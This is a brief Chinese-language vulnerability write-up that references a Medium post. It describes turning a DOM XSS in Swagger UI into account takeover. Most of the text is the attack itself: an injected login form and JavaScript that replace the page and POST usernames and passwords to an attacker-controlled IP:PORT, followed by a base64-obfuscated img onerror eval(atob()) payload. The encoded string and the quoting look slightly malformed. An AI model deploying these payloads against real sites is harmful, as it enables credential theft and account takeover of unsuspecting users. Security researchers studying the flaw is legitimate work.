03 XSS to ATO

```
漏洞名称：XSS to ATO
漏洞类别：DOM XSS
危害等级：高危
漏洞赏金：/
漏洞触发点：SwaggerUI 组件
漏洞细节简述：XSS 构造登录框劫持用户凭据
参考来源：https://medium.com/@AlQa3Qa3_M0X0101/how-i-was-able-to-steal-users-credentials-via-swagger-ui-dom-xss-e84255eb8c96
记录时间：2023.11.09
```

如何发现该XSS?

- 通过 wappalyzer 识别出指纹信息 Swagger UI
- 查找历史漏洞，发现存在 DOM XSS 漏洞。

如何构造利用?

- 该页面没有其他身份认证功能页面，也无获取身份信息的接口
- 配合 HTML Injection 构造登录页进行欺骗劫持

```
<form action=http://IP:PORT>Username:<br>
<input type=”username” name=”username”></br>Password:<br>
<input type=”username” name=”password”></br><br>
<input type=”submit” value=”Login”></br>
```

- 利用 JS 嵌入登录页面

```
document.body.innerHTML='';
var a=document.createElement('form');
a.action="http://IP:PORT";
a.method='POST';
a.innerHTML='<center>Username: <input type="text"
name="userName"><br>Password: <input type="password" name="pwd">
<br><input type="submit" value="Login"></center>';
document.body.appendChild(a);"'
```

```
atob( ... )
```

- 构造 Payload

```
<img src=x
id='ZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9Jyc7IHZhciBhPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2Zvcm0nKTthLmFjdGlvbj0iaHR0cDovL0lQOlBPUlQiO2EubbWV0aG9kPSdQT1NUJzthLmlubmVySFRNTD0nPGNlbnRlcj5Vc2VybmFtZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJOYW1lIj48YnI+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icHdkIj48YnI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj48L2NlbnRlcj4nO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7'> onerror='eval(atob(this.id))'>
```